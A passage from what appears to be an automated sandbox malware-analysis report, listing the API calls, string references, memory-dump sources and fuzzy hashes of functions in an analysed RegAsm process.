Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@, xrefs: 00409EB7
v10, xrefs: 00409E72

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6C2EC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C2EC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2EC1DC

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: a877be739f15c598128ddd84cef888c1b1dcb905cecfb20a80c986f9909ee216
Instruction ID: dea2c638ddfadb6b0fbc03147f3c9c7c8c62272d37c49af337245831fe7b4cef
Opcode Fuzzy Hash: a877be739f15c598128ddd84cef888c1b1dcb905cecfb20a80c986f9909ee216
Instruction Fuzzy Hash: 2641A4B1D187488FD710DF68D580B9ABBE4AF8A708F81856DEC985B712E730D548CB93

Function 6C33A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35F770), ref: 6C33A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C33A87B

Part of subcall function 6C33A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C33A88F,00000000), ref: 6C33A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C33A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C33A90C
LeaveCriticalSection.KERNEL32(6C35F770), ref: 6C33A97E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 75222d1649356b04b75640b69e4f5cf070f1b985b3423797385b5e41597a3c18
Instruction ID: 157fd91f14c2d5e2991698d95e0ef9861ee73be24f2e59eee0008787740badfd
Opcode Fuzzy Hash: 75222d1649356b04b75640b69e4f5cf070f1b985b3423797385b5e41597a3c18
Instruction Fuzzy Hash: 2541B0B4A002488FDF00DFE4D845ADEBB75FF08324F148629E81AAB791D3359945CF92

Function 6C2E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C2E152B,?,?,?,?,6C2E1248,?), ref: 6C2E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C2E152B,?,?,?,?,6C2E1248,?), ref: 6C2E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C2E152B,?,?,?,?,6C2E1248,?), ref: 6C2E15E7
free.MOZGLUE(?,?,?,?,?,?,6C2E152B,?,?,?,?,6C2E1248,?), ref: 6C2E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C2E152B,?,?,?,?,6C2E1248,?), ref: 6C2E1637

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: cd7a51bc0e8c156078a5ead2be641e8cfa0dc4a89a9a084899fcd4b7c0ff9047
Instruction ID: 3a24e31fca2beb1ae12ff74a58bf29307eabd80d4224c960c547ff271a53d1f5
Opcode Fuzzy Hash: cd7a51bc0e8c156078a5ead2be641e8cfa0dc4a89a9a084899fcd4b7c0ff9047
Instruction Fuzzy Hash: 8131F8B1A001198BCB188F78D85086E77A9BB893647650B3DEC37EBBD5EB30D9448791

Function 6C33AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C34E330,?,6C2FC059), ref: 6C33AD9D

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C34E330,?,6C2FC059), ref: 6C33ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C34E330,?,6C2FC059), ref: 6C33AE01
GetLastError.KERNEL32(?,00000000,?,?,6C34E330,?,6C2FC059), ref: 6C33AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C34E330,?,6C2FC059), ref: 6C33AE3D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 1acb2b43c98c996ac0e7656323afbbf9818b2d01472f948b3300712ab5f17ae3
Instruction ID: 271973f1f366aad116f903f7ecf8f15048317be1726e1fc35d209345124ab5d0
Opcode Fuzzy Hash: 1acb2b43c98c996ac0e7656323afbbf9818b2d01472f948b3300712ab5f17ae3
Instruction Fuzzy Hash: 243152B1A002559FDB10DF759C44AABBBF8EF48614F55842DE89AD7740E734D804CBA1

Function 6C335EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C34DCA0,?,?,?,6C30E8B5,00000000), ref: 6C335F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C30E8B5,00000000), ref: 6C335F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C30E8B5,00000000), ref: 6C335F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C30E8B5,00000000), ref: 6C335F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C30E8B5,00000000), ref: 6C335FD6

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 696a2efd2d304156b02d211008d06d5dfd9313a7e9e138e41ac8b59d98330167
Instruction ID: 24f6ff457029b01ef7f0376dad7dfcff8f8673ad45b55a8fcc965bc5cde70781
Opcode Fuzzy Hash: 696a2efd2d304156b02d211008d06d5dfd9313a7e9e138e41ac8b59d98330167
Instruction Fuzzy Hash: ED311834300650CFD710CF29C898E2AB7F9FF89319BA49558E95A8BB95C731EC41CB90

Function 6C2DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C2DB532
moz_xmalloc.MOZGLUE(?), ref: 6C2DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C2DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C2DB57E
free.MOZGLUE(00000000), ref: 6C2DB58F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 520c8fae8d33f578ae109529bf6238a1e3884bd2835f6173316f6c7071b592ac
Instruction ID: caf27b2d978eb8b835b09827035a95f99bba564ed2b1003b6cf14291e1f304ed
Opcode Fuzzy Hash: 520c8fae8d33f578ae109529bf6238a1e3884bd2835f6173316f6c7071b592ac
Instruction Fuzzy Hash: AC210771A0020A9BDB008F69CC50BBABBB9FF56308F694029FC18DB341E775E911C7A1

Function 6C2DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C2DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C2DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C2DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2DB849

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 2ab47f73758edcb517514a69d42a70dca34a9def8a4ebc3f2118f719adfec669
Instruction ID: cc00539db54d6bed291c2258e85bce12efffb1e78d7da3e7eac7dca5fbf78b9a
Opcode Fuzzy Hash: 2ab47f73758edcb517514a69d42a70dca34a9def8a4ebc3f2118f719adfec669
Instruction Fuzzy Hash: F3215EB1E002099FDF04DFA9D8855FEBBB8EF49318F148129EC45A7340E731A944CBA1

Function 6C336E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C336E78

Part of subcall function 6C336A10: InitializeCriticalSection.KERNEL32(6C35F618), ref: 6C336A68
Part of subcall function 6C336A10: GetCurrentProcess.KERNEL32 ref: 6C336A7D
Part of subcall function 6C336A10: GetCurrentProcess.KERNEL32 ref: 6C336AA1
Part of subcall function 6C336A10: EnterCriticalSection.KERNEL32(6C35F618), ref: 6C336AAE
Part of subcall function 6C336A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C336AE1
Part of subcall function 6C336A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C336B15
Part of subcall function 6C336A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C336B65
Part of subcall function 6C336A10: LeaveCriticalSection.KERNEL32(6C35F618,?,?), ref: 6C336B83

MozFormatCodeAddress.MOZGLUE ref: 6C336EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C336EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C336EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C336EFF

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: cc4d77bef28bdb8ac461afe9bbc33a53e6f7b7864e4cc4dc29c376566128e007
Instruction ID: f3e7307d16502c1987cff8802b9f7658494053eaa0c75425feb1d1e3a03e89f0
Opcode Fuzzy Hash: cc4d77bef28bdb8ac461afe9bbc33a53e6f7b7864e4cc4dc29c376566128e007
Instruction Fuzzy Hash: 9E21A1B1A0425A9FDB00CF69D8856DA77F9FF84308F044039E84D97241EB759A588F92

Function 004163C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210DC,?,?,004165B1,00000000,?,00EEAB28,?,004210DC,?,00000000,?), ref: 0041640C
sscanf.NTDLL ref: 00416439
SystemTimeToFileTime.KERNEL32(004210DC,00000000,?,?,?,?,?,?,?,?,?,?,?,00EEAB28,?,004210DC), ref: 00416452
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00EEAB28,?,004210DC), ref: 00416460
ExitProcess.KERNEL32 ref: 0041647A

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction ID: 830abe8b8eab449a7d9cc0da15019f7c77d9f2c5bac1468e5daa421451f66edb
Opcode Fuzzy Hash: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction Fuzzy Hash: EA21E1B5D14208AFCF14EFE4D945ADEB7BABF48304F04852EE50AE3250EB349605CB69

Function 6C310D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C2D3DEF), ref: 6C310D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C2D3DEF), ref: 6C310D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C2D3DEF), ref: 6C310DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C310D97, 6C310DBE
<jemalloc>, xrefs: 6C310D92, 6C310DB9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 758915b0f0b4b70f0d7f228780f0eb10e9d67252bbc3ff45ff623019bdfadff0
Instruction ID: 8e0e1f768e11cfeefaab6ecb2276862667c970ede9605418d7fbc0d4d8a3394b
Opcode Fuzzy Hash: 758915b0f0b4b70f0d7f228780f0eb10e9d67252bbc3ff45ff623019bdfadff0
Instruction Fuzzy Hash: C6F02E7139839427E63C15664C0AF9A365D6BC2B2CF704036F344DEDC0DA51E4304EB5

Function 6C335850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C33586C
CloseHandle.KERNEL32 ref: 6C335878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C335898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C3358C9
free.MOZGLUE(00000000), ref: 6C3358D3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f57705abeb9b75fac207ea086557336a47a885acb888b8b1471392b1e66184e7
Instruction ID: 35e03b3b9f82f88c63dc7b1961bea112363672f1d1637932bcba6a107bc24b49
Opcode Fuzzy Hash: f57705abeb9b75fac207ea086557336a47a885acb888b8b1471392b1e66184e7
Instruction Fuzzy Hash: 9B016DB17042519BDF01EF1AEC08A067BBCEB8B32D7A44976E91AC7214D73298148F85

Function 6C327620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C3275C4,?), ref: 6C32762B

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C3274D7,6C3315FC,?,?,?), ref: 6C327644
GetCurrentThreadId.KERNEL32 ref: 6C32765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3274D7,6C3315FC,?,?,?), ref: 6C327663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3274D7,6C3315FC,?,?,?), ref: 6C327677

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9d6f839961851bcf669960568c026e941c727136f3f51da96e93a43ee415fb43
Instruction ID: c63ead9414c5588ba3b1e9a1d8ab54d2420af65a4fa38477ae67e39e0426080e
Opcode Fuzzy Hash: 9d6f839961851bcf669960568c026e941c727136f3f51da96e93a43ee415fb43
Instruction Fuzzy Hash: 74F0C271E10745ABD7008F61D888676B77CFFEA259F514316F90457601E7B0A5D08BD0

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction ID: 8423f9a113a1835f1d35103eff65ed0838148ed172a20d49ff88b4dc443596f5
Opcode Fuzzy Hash: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction Fuzzy Hash: 9EF06271AD5310ABD720BBA95C427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6C331700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C331800

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Part of subcall function 6C2D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C313EBD,6C313EBD,00000000), ref: 6C2D42A9

Strings

Details, xrefs: 6C331925
name, xrefs: 6C331939
{marker.name} - {marker.data.name}, xrefs: 6C3318C7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ff321891aaa329802af2f3add74d8e03542b237709aa0e4cf0e5ae0610598714
Instruction ID: ae4951718e0a52ec6b7e37b9493054bf3096e0ae587ee55c3851496f7bad5513
